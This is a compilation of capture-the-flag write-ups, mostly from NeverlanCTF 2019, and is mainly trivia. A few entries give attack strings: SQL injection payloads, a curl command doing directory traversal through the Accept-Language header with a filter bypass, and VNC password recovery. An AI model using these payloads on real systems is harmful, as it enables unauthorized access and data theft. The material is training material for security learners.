[SQL Fun 2]---Question:--- REPORT: A Client forgot his Password... again. Could you get it for me? He has a users account and his Lname is Miller if that helps at all. Oh! and Ken was saying something about a new table called passwd; said it was better to separate things https://challenges.neverlanctf.com:1155
Answer--- 1. Construct SQLi string to get username and table: SELECT * FROM users WHERE Lname="Miller"
2. Join this table with the passwd table: SELECT * FROM users JOIN passwd WHERE Lname="Miller"
 3. One of the tables gives us: ZmxhZ3tXMWxsX1kwdV9KMDFOX00zP30= 4. Decode base64 value 5. Flag: flag{W1ll_Y0u_J01N_M3?}
Flag:--- flag{W1ll_Y0u_J01N_M3?} |
* directory traversal attack
```$ curl -s -H 'Accept-Language: ....//....//....//....//flag' http://35.207.169.47 | grep -oE Mz.*= | base64 -d35c3_this_flag_is_the_be5t_fl4g``` |
[Das Blog 1]---Question:--- Word on the street, Johnny's got a blog. Seems he doesn't know how to escape his inputs. https://challenges.neverlanctf.com:1125
Answer--- 1. The task pretty much gives away that it's an escape character sql injection we need. 2. Tried several escape methods like:
' or ' 1=1 ' or '1'='1 1' or 1=1 -- -
3. 1' or 1=1 -- - ended up working
Flag:--- flag{3sc4pe_Y0ur_1npu7s} |
[Bash all the things p2]---Question:--- When bash is invoked as an interactive non-login shell it first reads and executes commands from this file
Answer--- bashrc
Flag:--- bashrc |
[Bash all the things p1]---Question:--- When bash is invoked as an interactive login shell it first reads and executes commands from this file.
Answer--- .bash_profile
Flag:--- .bash_profile |
[Dirty Validate]---Question:--- To keep my server from doing a lot of work, I made javascript do the heavy lifting of checking a user's password https://challenges.neverlanctf.com:1135
Answer--- 1. First i did some testing in regards of the username / password bit, and what it actually checks
 2. I looked through the source-code but didn't become any smarter, as I am a noob in JS. 3. I started to look at what the browser did in the connection state to the .php scripts. 4. It looks like this:
5. I followed the link, and got the information about the users:
6. After inputing username and "test" as password i tried to follow the users, which in turn gave me the following: - JimmyOneShoe V3JvbmcgdXNlcg== Wrong user - Mr. Clean bm90IHRoaXMgb25lIGVpdGhlci4uLg0K not this one either... - Dr. Whom ZmxhZ3tEMG4ndF83cnVzN19KU30= flag{D0n't_7rus7_JS}
Flag:--- flag{D0n't_7rus7_JS} |
[SQL Trivia 1]---Question:--- The oldest SQL Injection Vulnerability. The flag is the vulnerability ID.
Answer--- CVE-2000-1233 https://www.cvedetails.com/cve/CVE-2000-1233/
Flag:--- CVE-2000-1233
|
[Sea Quail]---Question:--- A domain-specific language used in programming and designed for managing data held in a relational database management system, or for stream processing in a relational data stream management system.
Answer--- SQL
Flag:--- SQL
|
[Bucket Name = Domain Name]---Question:--- Here's some info for future challenges. Fill in the blank. When hosting a site as an S3 bucket, the bucket name must ____ the domain name.
Answer--- match
Flag:--- match |
[So many policies...]---Question:--- What are the policies called that you use to grant access to your AWS S3 buckets and objects to the general public?
Answer--- ACL
Flag:--- ACL |
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<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>NeverlanCTF-2019-Writeups</span></span></span><span>/</span>Trivia<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/str0nkus/NeverlanCTF-2019-Writeups/tree-commit/de9953cae0b1d762490b9f07d1dd3049af23c977/Trivia" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
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</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>64_Characters</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>AWShoot</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>All around the globe!</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Alright... who is this</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Bash all the things p1</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Bash all the things p2</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Beep_Boop</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Bucket Name = Domain Name</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>CMERE_PIGGY</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Let's get on the right PATH</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>SQL Trivia 1</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>SQL Trivia 2</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Sea_Quail</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Simple, Storage, and Service</span> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>With Some Milk</span> </div>
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[Filling a need]---Question:--- This organizations creation was announced Mon Sep 24 2001 What is the full name of the organization?
Answer--- 1. Googling the date 2. Didn't find much 3. After some while i found info about OWASP (which were announced on this date) 4. Tried "OWASP" (https://www.owasp.org/index.php/History_of_OWASP) 5. Tried "The Open Web Application Security Project" 6. Tried "TheOpenWebApplicationSecurityProject"
Flag:--- TheOpenWebApplicationSecurityProject |
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<div data-target="readme-toc.content" class="Box-body px-5 pb-5"> <article class="markdown-body entry-content container-lg" itemprop="text"><h2 tabindex="-1" dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>[With some Milk]</h2><h2 tabindex="-1" dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Question:</h2><div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="A small piece of data sent from a website and stored on the user's computer by the user's web browser while the user is browsing.">A small piece of data sent from a website and stored on the user's computer by the user's web browser while the user is browsing.</div><h2 tabindex="-1" dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Answer</h2><div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Cookie">Cookie</div><h2 tabindex="-1" dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Comment:</h2><div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Any comment to the task">Any comment to the task</div><h2 tabindex="-1" dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Flag:</h2><div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Cookie">Cookie</div></article> </div> </div>
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# Let's go way back (Web)
Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand.
Also I might be wrong on some things. Enjoy :)
(P.S Check out my [CTF cheat sheet](https://github.com/flawwan/CTF-Candy))
## Challenge solution
The title of the challenge seem to suggest the way [back machine](https://archive.org/web/).
Nothing interesting in the source of the page... Downloading the matrix image and opening it in gimp I found the flag in the middle.
 |
# flagsThe challange was: 
When you open the link this shows up.
It shows the php code of the server, an warning and an image of flags.
It can be observed that it takes the Accept-Language fild of the http header and it uses to open a file in the dir `flags/`. So it seems simple, just traverse back to `/` and get the flag. The only hicup is the str_replace function removes `../` from the string. To bypass that we use the string `....//` that when passed onto the replace func it retruns `../`
With that I created a script that changed the Accept-Language fild of th http request's header to `....//....//....//....//flag` and then get the base64 file and decode it. In the end the flag is outputed `35c3_this_flag_is_the_be5t_fl4g ` |
# Alphabet
## Prologue
This challenge wasn't a hard one, found the solution on Google, just had to make some changes.
## Ciphertext
Ciphertext contained hashes like:
```148de9c5a7a44d19e56cd9ae1a554bf67847afb0c58f6e12fa29ac7ddfca9940 e1671797c52e15f763380b45e841ec32```
Quick google search returned rainbow tables on SHA-256 and MD5.
Quickly making a rainbow-table and feeding the file through it returns a long file, so we just grepped it and got the flag.
## Source code
```pythonimport hashlibf = open('ct.txt', 'r')
md5s = {}sha256s = {}
for i in range(256): md5s[hashlib.md5(chr(i)).hexdigest()] = chr(i) sha256s[hashlib.sha256(chr(i)).hexdigest()] = chr(i)
text = ""
a = f.read().split(" ")for c in a: if c in md5s: text += md5s[c] if c in sha256s: text += sha256s[c]print text```
## Flag
```Congratulations!_T#e_Flag_Is_F#{Y3aH_Y0u_kN0w_mD5_4Nd_Sh4256}```
|
[64 Characters]---Question:--- A group of similar binary-to-text encoding schemes that represent binary data in an ASCII string format by translating it into a radix-64 representation.
Answer--- Base64
Flag:--- Base64
|
[purvesta]---Question:--- I love Github. Use it all the time! Just wish they could host a webpage...
Answer--- 1. Found purvestas github (https://github.com/purvesta) 2. Checked his newset repo (purvesta.github.io) 3. Found the file "lol" 4. Contained the flag: flag{Th1s_g1thub_l00ks_a_l1l_sparc3}
Comment:--- Any comment to the task
Flag:--- flag{Th1s_g1thub_l00ks_a_l1l_sparc3} |
[Return of the Sith - Part 1]---Question:--- After a quick gander, we realized the user installed VNC with a crappy password. Can you get the password he used so we can prove to him it was bad? Note: The password is the flag, it is not in the flag{} format.
Answer--- 1. Booted up the VM 2. We are after the password that VNC is using 3. We are aware that the passwd file for vnc is stored in /home/KyloRen/.vnc/passwd 4. Transferred the passwd file to my kali installation 5. Downloaded the github repo for vncpwd (https://github.com/jeroennijhof/vncpwd) 6. Used the vncpwd to get the pw 7. Password = darthvad
Flag:--- darthvad |
[TeachThemToHack]---Question:--- In 2018 NeverlanCTF was one of the Keynotes for a security conference. There is a video of it on youtube. I remember seeing a flag. This one is not as easy as you think.
Answer--- Video: https://www.youtube.com/watch?v=1wthauUWsGI&list=PL6cQ3smzyfmoRNOum6GjLELcC5m9d-RoF&index=2&t=0s Timestamps: 1:49:55 Flag: flag{N3v3r_g0nna_g1v3_y0u_up}
Flag:--- flag{N3v3r_g0nna_g1v3_y0u_up} |
[It's to KeyZ]---Question:--- It looks like N30 has been keeping passwords secret with some software he wrote,but he should know better than to rely on proprietary software for security. It looks like he left the repo public too!
